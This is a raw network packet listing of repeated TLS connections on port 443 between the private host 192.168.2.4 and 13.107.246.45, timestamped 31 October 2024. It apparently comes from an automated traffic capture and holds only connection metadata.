Oct 31, 2024 11:28:11.604305983 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.604518890 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.604538918 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.606318951 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.606349945 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.606420994 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.607301950 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.607319117 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.762458086 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.762510061 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.762665033 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.789155006 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.789197922 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.789304018 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.840851068 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.840917110 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.840987921 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.844635010 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.844674110 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.847501993 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.847529888 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.852336884 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.852353096 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.852365017 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.852370977 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.905219078 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.905309916 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.905416965 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.925096035 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.925118923 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.578444958 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.580076933 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.580115080 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.581269979 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.581275940 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.582597017 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.586246014 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.586282969 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.586818933 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.586827040 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.587898970 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.588229895 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.588241100 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.588879108 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.588884115 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.593952894 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.594456911 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.594477892 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.595065117 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.595071077 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.656552076 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.657334089 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.657416105 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.658694029 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.658711910 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.707431078 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.707699060 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.707814932 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.707885981 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.707906008 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.707918882 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.707925081 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.710457087 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.710480928 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.710561991 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.710839033 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.710850954 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.711368084 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.711577892 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.711647034 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.711693048 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.711693048 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.711719990 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.711730957 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.713640928 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.713682890 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.713756084 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.713875055 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.713885069 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.717070103 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.717315912 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.717375994 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.717427969 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.717427969 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.717442036 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.717452049 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.719393015 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.719432116 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.719501972 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.719610929 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.719630003 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.726396084 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.726632118 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.726701021 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.726720095 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.726728916 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.726737976 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.726743937 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.728492975 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.728535891 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.728612900 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.728745937 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.728765011 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.786185980 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.786458969 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.786567926 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.786732912 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.786781073 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.786819935 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.786837101 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.791145086 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.791167974 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:12.791248083 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.791426897 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:12.791440964 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.452570915 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.453303099 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.453335047 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.453763008 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.453774929 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.465648890 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.466332912 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.466355085 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.466700077 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.466711044 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.483499050 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.484078884 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.484118938 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.484422922 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.484430075 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.490819931 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.491276979 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.491311073 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.491708040 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.491719007 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.516669989 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.517184973 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.517225027 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.517592907 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.517599106 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.581803083 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.581958055 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.582029104 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.582125902 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.582155943 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.582175016 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.582182884 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.585128069 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.585180998 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.585263014 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.585419893 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.585438967 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.597842932 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.597908974 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.597964048 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.598160982 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.598180056 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.598191023 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.598196030 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.600750923 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.600805044 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.600887060 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.601061106 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.601078987 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.617024899 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.617338896 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.617455006 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.617455006 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.617491007 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.617507935 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.619827986 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.619858980 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.619971991 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.620119095 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.620131969 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.626681089 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.626740932 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.626797915 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.626910925 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.626933098 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.626944065 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.626949072 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.629240036 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.629334927 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.629442930 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.629554033 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.629585028 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.646648884 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.646754980 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.646825075 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.649408102 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.649421930 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.649430037 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.649435997 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.652147055 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.652189016 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:13.652273893 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.652417898 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:13.652430058 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.368309021 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.368344069 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.368792057 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.368822098 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.368884087 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.368891954 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.368968010 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.369328976 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.369334936 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.369585037 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.369590998 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.369591951 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.369617939 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.370042086 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.370048046 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.374675989 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.374999046 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.375025034 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.375459909 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.375466108 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.383960009 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.384264946 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.384273052 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.384681940 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.384686947 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497097015 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497122049 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497279882 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.497302055 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497323990 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497376919 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.497404099 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497586966 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.497603893 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497617006 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.497622967 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497658014 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497699022 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.497834921 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.497839928 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.497864962 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.497869968 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.498810053 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.498861074 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.498914957 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.499250889 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.499268055 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.499281883 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.499289036 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.501009941 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.501050949 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.501068115 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.501112938 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.501127958 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.501157045 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.501276016 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.501287937 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.501372099 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.501394033 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.502268076 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.502275944 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.502361059 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.502439022 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.502448082 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.511991024 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.512303114 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.512500048 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.512553930 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.512553930 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.512567997 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.512576103 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.513978958 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.514004946 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.514051914 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.514075994 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.514123917 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.514271975 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.514286995 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.514298916 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.514306068 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.514833927 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.514882088 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.515014887 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.515150070 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.515176058 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.516256094 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.516293049 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:14.516371012 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.516480923 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:14.516496897 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.229253054 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.230005026 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.230021954 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.230616093 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.230622053 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.246520042 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.246546030 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.247159004 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.247169971 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.247262955 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.247288942 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.247545004 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.247550011 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.247731924 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.247742891 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.248553038 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.248836994 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.248846054 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.249198914 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.249207973 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.285931110 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.286587000 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.286633015 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.287039042 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.287049055 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.359534979 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.359637976 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.359724998 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.359893084 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.359920025 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.359931946 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.359937906 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.363189936 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.363234997 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.363325119 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.363452911 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.363468885 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.374658108 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.375351906 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.375421047 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.375477076 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.375492096 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.375504017 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.375509024 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.378010035 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.378031015 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.378035069 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.378057957 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.378113985 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.378139973 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.378166914 CET	443	49845	13.107.246.45	192.168.2.4
